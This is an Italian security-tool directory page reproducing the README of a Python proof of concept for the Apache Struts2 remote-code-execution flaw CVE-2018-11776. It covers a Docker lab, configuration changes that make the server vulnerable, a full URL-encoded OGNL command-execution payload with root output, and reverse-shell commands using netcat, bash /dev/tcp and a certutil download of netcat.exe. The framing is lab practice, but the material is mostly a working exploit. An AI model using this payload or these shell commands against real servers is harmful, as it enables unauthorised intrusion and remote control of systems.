Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-11776-Python-PoC — Test Python funzionante e PoC per CVE-2018-11776, include laboratorio Docker | Kitploit
Strumenti/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo PayloadLab e Pratica
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

Test Python funzionante e PoC per CVE-2018-11776, include laboratorio Docker

Vedi Repository
1234938 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c su twitter

Test funzionante in Python e PoC per CVE-2018-11776, originariamente apparso su; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

Cosa sta succedendo?

Man Yue Mo di Semmle ha divulgato una vulnerabilità RCE in Struts2, veicolata in un payload codificato nel percorso URL di una richiesta.

Le versioni interessate sono 2.3 fino a 2.3.34 e 2.5 fino a 2.5.16.

La configurazione predefinita non è vulnerabile, ma se configurata male... F.

Configura la tua istanza Docker

l'exploit funzionerà correttamente con il container docker costruito per cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Configura la tua configurazione indebolita

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

aggiungi la configurazione qui sotto;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

e anche;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

riavvia il tuo tomcat e/o container

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Verifica che il target sia vulnerabile

testa l'url per vedere se avviene un reindirizzamento e una valutazione;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

con lo script di test;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Esegui comandi PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Shell inversa

prepara la tua macchina per accettare la shell inversa;

root@kitploit:~
$ netcat -lvp 31337

esegui lo script;

root@kitploit:~
# ti converrà installare netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# ora fai scattare quella shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

sostituisci 32771 con la porta esposta del tuo container

Metodo aggiornato tramite Bash, ora supportate le barre in avanti.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Shell inversa Windows (non testata)

root@kitploit:~
# scarica il binario netcat
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# esegui
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Inferno del debug (appunti)

Tutte le richieste con una barra in avanti (/) falliranno perché Tomcat le blocca attivamente, potresti dover aggirare questo problema, ad esempio usando variabili d'ambiente per /bin/bash come $SHELL nell'esempio sopra.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Con questo in mente, il flag /c di Windows non funzionerà come previsto. Ho testato solo sul container docker.

Aggiornamento

Grazie a @Menin_TheMiddle per aver mostrato che il problema della barra in avanti può essere risolto, il codice ora supporta le barre in avanti e quindi è ora possibile anche una shell inversa senza netcat tramite bash, e supporta anche istanze Windows (non testato).

Mitigazione

Aggiorna il tuo Struts, o semplicemente non usarlo.

Immagino che tu possa sempre vendere prodotti antifrode se dovessi subire una violazione e tutti i dati dei tuoi clienti venissero divulgati! (sai chi sei, feccia assoluta)

Crediti

Grazie a ;

  • Man Yue Mo, Semmle per aver divulgato la vulnerabilità (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity per il lab Dockerfile e l'esempio del payload OGNL (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x per il write-up sul metodo (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 per il test (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle per il write-up (https://www.secjuice.com/apache-struts2-cve-2018-11776/) e per avermi messo al mio posto :) il codice ora finalmente supporta Windows e shell inversa bash

Saluti

un saluto a vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Scarica lo strumento